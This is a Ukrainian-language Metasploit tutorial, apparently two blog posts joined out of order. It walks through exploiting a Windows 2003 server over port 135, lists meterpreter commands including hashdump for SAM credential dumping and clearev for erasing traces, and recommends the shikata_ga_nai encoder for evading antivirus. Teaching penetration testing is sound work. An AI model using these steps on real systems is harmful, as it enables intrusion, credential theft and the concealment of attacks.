Ми можемо скористатися командою check для того, щоб переконатися, що наша машина-жертва доступна для виконання на ній експлоїту. Ця опція є не для всіх сплоїтів. Наприклад, на скріншоті добре видно, що у нашому випадку це саме так.

Але нею варто скористатися у будь-якому випадку. Це гарна допомогаз боку системи в тому плані, що дозволяє впевнитись – віддалена машина ще не пропатчена експлоїтом, який ви збираєтеся запустити. Іншими словами – щоб ви не запустили експлоїт на віддаленій машині повторно.

У нашому випадку, як видно на скріншоті, вибрані нами експлоїти не мають підтримки опції check .

Команда exploit запускає вибраний сплоїт, який виконує всі необхідні дії для того, щоб на віддаленій машині зміг виконатися платіж.

На скріншоті видно, що експлоїт успішно виконався на віддаленій машині з IP-адресою 192.168.42.129, використовуючи вразливість порту 135. Факт успішного виконання експлоїту позначається в командному рядку зміною запрошення останньої на meterpreter>.

Крок 9:

Тепер, коли додаткове з'єднання між жертвою та нашою машиною встановлено, нам необхідно отримати контроль над сервером. Ми можемо скористатися help для отримання списку всіх доступних команд, які ми можемо виконати на віддаленому сервері для виконання відповідних дій.

Нижче показані результати деяких команд meterpreter:

  • ipconfig – показує конфігураційні дані всіх TCP/IP-з'єднань, запущених на віддаленій машині;
  • getuid - відображає ім'я сервера консолі;
  • hashdump – створює dump бази даних SAM;
  • clearev - затирає всі сліди вашого перебування на віддаленій машині, які б ви могли залишити там.

Таким чином, ми успішно використовували фреймворк для отримання доступу до віддаленого сервера із запущеним на ньому Windows 2003 Server. Ми надали можливість виконувати команди в командній оболонці, що дає нам право повністю контролювати віддалену машину і запускати будь-які завдання на ній, які тільки нам знадобляться.

Потенційні можливості використання фреймворку Metasploit:

  • може використовуватися при пентестингу для створення звітів спільно з іншими системами автоматичного виявлення вразливостей. За допомогою цього фреймворку можна встановити, чи є вразливості реально небезпечними і чи можна ними скористатися для проникнення в систему.
  • може використовуватися для тестування нових експлоїтів, які з'являються буквально щодня. Таку перевірку ви можете робити на локальному серверіспеціально призначеному для цих цілей. За допомогою цього фреймворку ви легко можете перевірити, чи ефективний новий експлоїт чи ні.
  • також є чудовим інструментом у ваших системах пентестингу для перевірки, чи належним чином налаштовані IDS у разі виникнення атак.

Висновок

Ця стаття є поверховим оглядом з використання фреймворку. Тут показано, як виконати загальний огляд вашої системи щодо уразливостей. Навіть початковий досвід роботи з придбаний у цій статті допоможе вам зрозуміти принципи роботи експлоїтів. Що може надалі бути гарною підмогою для написання своїх власних експлоїтів. А це, у свою чергу, допоможе вам виконувати завдання пентестингу на більш високому та якісному рівні.

Ми написали багато статей зі злому з використанням Metasploit, у тому числі про те, як не залишати слідів, вивчення внутрішньої архітектури сайту, а також масу шпаргалок по командах і скриптах.

Цим посібником ми розпочинаємо об'ємну серію статей для навчання та використання Metasploit. Ця перша ознайомча частина, де коротко будуть розглянуті основи Metasploit- Однією з найпотужніших хакерських платформ на планеті Земля.

Походження та встановлення Metasploit

Metasploit- проект із відкритим вихідним кодом, розроблений хакером HD Moore у 2003 році. Спочатку він був написаний на Perl, але у 2007 році повністю переписано на Ruby. У 2009 році був викуплений Rapid7, компанією, що спеціалізується на наданні послуг з інформаційної безпеки, яка також випустила сканер уразливостей Nexpose.

Metasploitверсії 4.12 вже включено до дистрибутиву Kali Linux. Він також вбудований у BackTrack. Якщо ви використовуєте інший дистрибутив Linuxабо MaxOS, то вам доведеться завантажити його з сайту Rapid7.

Якщо ви використовуєте Windows, то вам також доведеться завантажити Metasploitз сайту Rapid7, але ми не рекомендуємо запускати його в Windows. Ви, безумовно, зможете це зробити, проте багато функцій, які ми розглядатимемо в цій статті, просто не працюватимуть там.

У Metasploitє кілька версій, у тому числі Metasploit Pro(повністю комерційна версія) та Community Edition(Безкоштовна). Ось остання якраз і вбудована в Kali. Ми зосередимося на Community Edition, оскільки ми думаємо, що більшість із вас не буде купувати Pro версіювартістю у $30 000.

Методи використання Metasploit

Metasploitможна використовувати кількома способами. Найбільш поширений спосіб, який і ми весь час використовуємо – це інтерактивна консоль. Metasploit. Вона активується шляхом введення msfconsole у командному рядку Kali. Існує також кілька інших методів.

Msfcli

Почнемо з того, що ви можете використати Metasploitз командного рядка Kaliабо в режимі msfcli. На перший погляд здається, що коли ми перебуваємо в консолі, ми використовуємо командний рядок. Насправді ми використовуємо інтерактивну консоль зі спеціальними ключовими словами та командами. Коли ж ми працюємо з msfcli, то фактично використовуємо командний рядок Linux.

Щоб отримати інформацію про всі доступні команди msfcli, наберіть у консолі:

Kali > msfcli -h

Тепер, щоб виконати експлоїт з msfcliнаберіть команду:

Kali > msfcli payload = rhost = lhost = E

Де "E" - скорочення від "Execute" (виконати)

У нашій статті щодо створення payload(корисних навантажень) для захисту від антивірусних програм ми використовуємо команду msfencodeі msfpayloadу режимі командного рядка ( msfcli).

Недоліком використання msfcliє те, що він не так добре підтримується як msfconsole, і ви обмежені єдиним шелом, що робить деякі з складніших експлойтів неможливими.

Armitage

Якщо ви хочете використовувати Metasploitз графічним інтерфейсом (GUI), тут є кілька варіантів. Наприклад, Рафаель Мадж (Raphael Mudge) розробив Armitage(це ім'я головного героя у вельми оригінальній науково-фантастичній книзі про кібер-хакінгу «Neuromancer». Її має прочитати кожен хакер, якому подобається жанр SciFi).

Щоб запустити Armitageв Kali, просто введіть:

Kali > armitage

Якщо Armitageне може з'єднатися, то спробуйте інші команди:

Kali > service start postgresql kali > service start metasploit kali > service stop metasploit

Armitage- це графічний інтерфейс поверх самого Metasploitпобудований на архітектурі клієнт-сервер. Ви запускаєте Metasploitяк сервер, і Armitageстає його клієнтом, надаючи вам повний доступдо функцій Metasploitза допомогою повнофункціонального, хоч і не інтуїтивно зрозумілого GUI. Якщо вам справді потрібен GUI, щоб почуватися комфортно, то, будь ласка, використовуйте Armitage. Але оволодіння командним рядком - практично життєва необхідність для будь-якого хакера, що поважає себе.

Модулі

У Metasploitє шість різних модулів:

  1. payloads
  2. exploits
  3. post
  4. nops
  5. auxiliary
  6. encoders

Payloads- це код, який ми залишаємо на зламаній системі. Деякі називають їх слухачами (listener), руткітами (rootkit) тощо. У Metasploitвони називаються payload (корисними навантаженнями). Payloadsвключають утиліти командного рядка, Meterpreterі т.д. PayloadВи бувають різних типів, наприклад, staged, inline, NoNX(обходить функцію «No Execute» (без виконання) у деяких сучасних процесорах), PassiveX(обходить правила брандмауера про вихідний трафік), IPv6та інші.

Exploits- це шелл-код, який використовує вразливість чи недоліки у системі. Це дуже специфічний код. Наприклад, є експлоїти для операційної системи, пакетів оновлень (SP), конкретних служб, портів і навіть додатків. Їх також можна класифікувати за типами операційних систем, тому експлойт Windowsне працює в Linuxі навпаки.

Post- це модулі, які ми можемо використовувати для пост експлуатаційних атак системи (тобто після отримання доступу до системи).

Nops- Скорочення від No OPerationS. У процесорах сімейства x86 зазвичай вказується як шістнадцятковий 0x90. Це просто означає "нічого не робити". Це може вирішальне значення для атак переповнення буфера (buffer overflow). Ми можемо переглянути модулі nopsза допомогою команди show.

Msf > show nops

Auxiliary- включає безліч модулів (695), які не вписуються в жодну з інших категорій. До них відносяться такі речі, як фьюзери (fuzzer), сканери (scanner), модулі для DoS-атак (на відмову в обслуговуванні) та багато іншого. За більш детальною інформацією надсилаю вас до нашої статті про Auxiliaryмодулі.

Encoders- це модулі, які дозволяють по-різному кодувати наше корисне навантаження (payloads), щоб обійти антивірусне програмне забезпечення та інші системи безпеки. Ми можемо побачити ці кодувальники, набравши:

Msf > show encoders

Як бачите, в Metasploitвбудовано досить багато кодувальників. Один із наших фаворитів - shikata_ga_nai. Він дозволяє використовувати payload XORщо допомагає обманювати антивірусні програмита інші системи безпеки.

Пошук

У Metasploit 4 з'явилася можливість пошуку. Раніше доводилося використовувати msfcliта команду grep, щоб знайти модулі. Тепер Rapid7додав пошук за ключовими словами та деякі інші особливості. Додавання пошуку було дуже своєчасним, оскільки Metasploitзначно розрісся, а звичайного пошуку за запитами grepбуло вже недостатньо, щоб знайти щось серед більш ніж 1400 експлойтів.

Пошук за ключовими словами дозволяє виконувати як простий пошук, так і робити більш детальні пошукові запити. Наприклад, ми можемо визначити тип модуля, який потрібно знайти, використовуючи ключове слово type:

Msf > search type:exploit

Якщо ми це зробимо, то Metasploitповерне нам 1295 експлойтів. Не дуже корисно.

Але якщо ми знаємо, що хочемо атакувати машину Sun Microsystemsпід керуванням Solaris (Sun UNIX), то ми можемо уточнити наш пошук та шукати тільки експлоїти для Solaris. У цьому випадку нам потрібно використати ключове слово platform.

Msf > search type:exploit platform:solaris

Тепер ми звузили наш пошук до тих небагатьох експлойтів, які працюватимуть проти Solaris.

Для подальшого уточнення пошуку припустимо, що ми хочемо атакувати Solaris RPC (sunrpc) і, відповідно, нам потрібно бачити лише ті експлоїти, які атакують цю конкретну службу. Ми додаємо ключове слово « sunrpc" в наш пошуковий запит, як показано нижче:

Msf > search type:exploit platform:solaris sunrpc

Як бачите, це звузило результати пошукової видачі до п'яти модулів експлойтів!

У Metasploitє багато можливостей, які ми продовжимо розглядати в наступних статтях Metasploit. Спробуйте поки що деякі з хаків на MetasploitЩо описані в інших постах на сайті. Повертайтесь обов'язково! Ви вивчите Metasploitі навчіться зламувати, як професіонал!

Відмова від відповідальності: Ця стаття написана тільки для освітніх цілей Автор чи видавець не публікували цю статтю для шкідливих цілей. Якщо читачі хотіли б скористатися інформацією для особистої вигоди, то автор та видавець не несуть відповідальності за будь-яку заподіяну шкоду чи шкоду.